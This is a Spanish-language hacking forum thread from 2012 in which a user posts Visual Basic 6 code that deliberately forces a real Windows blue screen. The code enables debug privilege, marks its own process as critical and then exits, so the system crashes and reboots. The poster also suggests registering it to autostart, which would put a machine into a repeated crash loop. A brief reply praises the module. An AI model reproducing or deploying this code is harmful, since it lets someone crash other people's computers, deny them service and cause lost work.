comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[vb6] Hacer que aparezca la pantalla azul de windows

  • 1 Respuestas
  • 2765 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado alexander1712

  • *
  • Underc0der
  • Mensajes: 850
  • Actividad:
    0%
  • Reputación -2
    • Ver Perfil
    • El blog del programador
    • Email
« en: Octubre 25, 2012, 05:30:14 pm »
Hola a todos, ahora les traigo una función, para que aparezca una pantalla azul REAL, no fingida, o hecha en el form.

el code, lo que hace es ponerse como proceso CRITICO del sistema, y después, CERRARSE, entonces sale la pantalla que dice "Se ha cerrado un proceso critico del sistema", y se reinicia la PC.
(lindo agregarlo al registro para ke se autoinicie)

colocarlo en un modulo:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Option Explicit

Private Const ANYSIZE_ARRAY = 1
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2

Private Type LUID
LowPart As Long
HighPart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type


Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLUID As LUID) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long



Public Const SE_DEBUG_NAME As String = "SeDebugPrivilege"


Public Declare Function RtlSetProcessIsCritical Lib "ntdll.dll" (ByVal NewValue As Boolean, ByVal OldValue As Boolean, ByVal WinLogon As Boolean)

Public Function ObtenerPrivilegios(ByVal privilegio As String) As Long

Dim lpLUID As LUID
Dim lpToken As TOKEN_PRIVILEGES
Dim lpAntToken As TOKEN_PRIVILEGES
Dim hToken As Long
Dim hProcess As Long
Dim res As Long

hProcess = GetCurrentProcess()
res = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken)
If res = 0 Then
Exit Function
End If
res = LookupPrivilegeValue(vbNullString, privilegio, lpLUID)
If res = 0 Then
Exit Function
End If
With lpToken
.PrivilegeCount = 1
.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
.Privileges(0).pLuid = lpLUID
End With

res = AdjustTokenPrivileges(hToken, False, lpToken, Len(lpToken), lpAntToken, Len(lpAntToken))
If res = 0 Then
Exit Function
End If
ObtenerPrivilegios = res
End Function

y este en el formulario.
Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Private Sub Form_Load()
On Error Resume Next
ObtenerPrivilegios SE_DEBUG_NAME ' obtiene privilegios de Debugeo
Call RtlSetProcessIsCritical(0, 0, 1) ' setea nuestro proceso como Proceso Critico
DoEvents
End
End Sub

No tienes permisos para ver links. Registrate o Entra con tu cuenta

saludos!

Autor original Mr. X :D

Marcado como mejor respuesta por: en Agosto 28, 2018, 07:05:19 pm

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
    • Ver Perfil
  • Skype: k0wsit0
« Respuesta #1 en: Octubre 27, 2012, 08:33:15 am »
Muy bueno bro! Es un curioso modulo!

-Saludos-

 

¿Te gustó el post? COMPARTILO!



[Libro] Bienvenidos al api de windows Segunda edicion

Iniciado por Mr.X

Respuestas: 1
Vistas: 1996
Último mensaje Septiembre 25, 2012, 02:47:12 am
por Barym
Reparar instalación de VB6 en Windows 7

Iniciado por alexander1712

Respuestas: 0
Vistas: 2024
Último mensaje Enero 26, 2013, 03:01:23 am
por alexander1712
[Libro] Bienvenidos a la api de windows en VB

Iniciado por Mr.X

Respuestas: 2
Vistas: 3383
Último mensaje Enero 30, 2013, 11:05:23 pm
por lordvampire666
Instalar VB6 en Windows 7 de 64bits

Iniciado por ANTRAX

Respuestas: 2
Vistas: 4715
Último mensaje Marzo 30, 2016, 03:34:20 am
por cavernario
Como hacer un Encryptador de String Basico [By Expermicid]

Iniciado por Expermicid

Respuestas: 0
Vistas: 1490
Último mensaje Junio 14, 2012, 12:34:17 pm
por Expermicid